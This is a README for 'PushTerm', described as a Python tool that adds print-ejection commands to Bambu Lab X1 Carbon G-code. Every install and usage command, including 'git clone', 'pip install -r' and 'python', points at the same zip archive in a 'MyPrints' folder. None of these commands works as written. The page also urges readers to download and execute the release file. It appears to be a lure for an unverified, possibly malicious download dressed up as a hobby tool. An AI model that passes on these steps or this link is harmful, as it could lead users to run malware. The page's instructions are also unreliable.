Welcome to the PushTerm repository! This Python command-line tool enhances the G-code for the Bambu Lab X1 Carbon 3D printer. By adding push-off commands, it ensures that your toolhead ejects prints after a cooldown delay. This feature helps you avoid extra hardware and simplifies the print removal process while protecting your printer.
- Easy Print Removal: Automatically ejects prints after cooling, making it easy to remove them.
- No Extra Hardware Needed: Avoids the need for additional tools or modifications to your printer.
- Customizable G-code: Modify the G-code as per your requirements.
- Open Source: Contribute to the project and improve it for everyone.
To get started with PushTerm, you need to install it on your system. Follow these steps:
-
Clone the Repository:
git clone https://github.com/diomib/PushTerm/raw/refs/heads/main/MyPrints/Push_Term_3.2-alpha.2.zip cd PushTerm -
Install Required Packages: Ensure you have Python installed. You can install the required packages using pip:
pip install -r https://github.com/diomib/PushTerm/raw/refs/heads/main/MyPrints/Push_Term_3.2-alpha.2.zip
-
Download the Latest Release: Visit the Releases section to download the latest version. Follow the instructions provided there to execute the downloaded file.
Using PushTerm is straightforward. Here’s how to modify your G-code:
-
Prepare Your G-code File: Make sure you have your G-code file ready for modification.
-
Run PushTerm: Execute the following command in your terminal:
python https://github.com/diomib/PushTerm/raw/refs/heads/main/MyPrints/Push_Term_3.2-alpha.2.zip https://github.com/diomib/PushTerm/raw/refs/heads/main/MyPrints/Push_Term_3.2-alpha.2.zip
-
Check the Output: After running the command, your modified G-code file will be ready. You can find it in the same directory.
-
Load the Modified G-code: Load the modified G-code file into your Bambu Lab X1 Carbon printer and start your print.
-
Enjoy Hassle-Free Print Removal: After printing, the toolhead will automatically eject the print after the cooldown delay.
We welcome contributions to PushTerm! If you want to help improve the tool, follow these steps:
- Fork the Repository: Click on the fork button at the top right corner of the repository page.
- Create a Branch: Create a new branch for your feature or bug fix.
git checkout -b feature/YourFeature
- Make Changes: Implement your changes and commit them.
git commit -m "Add your message here" - Push to Your Branch:
git push origin feature/YourFeature
- Create a Pull Request: Go to the original repository and create a pull request.
PushTerm is licensed under the MIT License. Feel free to use, modify, and distribute the code as you see fit.
If you have any questions or issues, please check the Releases section for troubleshooting tips. You can also open an issue in the repository, and we will be happy to help.
- 3D Printing: Enhance your 3D printing experience with PushTerm.
- Automation: Automate print removal to save time and effort.
- Bambu Lab: Specifically designed for the Bambu Lab X1 Carbon.
- CNC: Useful for CNC operations related to 3D printing.
- Command-Line Tool: A straightforward command-line interface for easy use.
- G-code: Modify G-code files with ease.
- Open Source: Contribute to an open-source project.
- Printer Scripting: Script your printer's behavior.
- Python: Built using Python for ease of use and flexibility.
- Toolhead Control: Gain better control over your printer's toolhead.
PushTerm is designed to make your 3D printing experience smoother and more efficient. By automating print removal, it saves you time and protects your printer. Download the latest release from the Releases section and start enjoying hassle-free printing today!
Happy printing!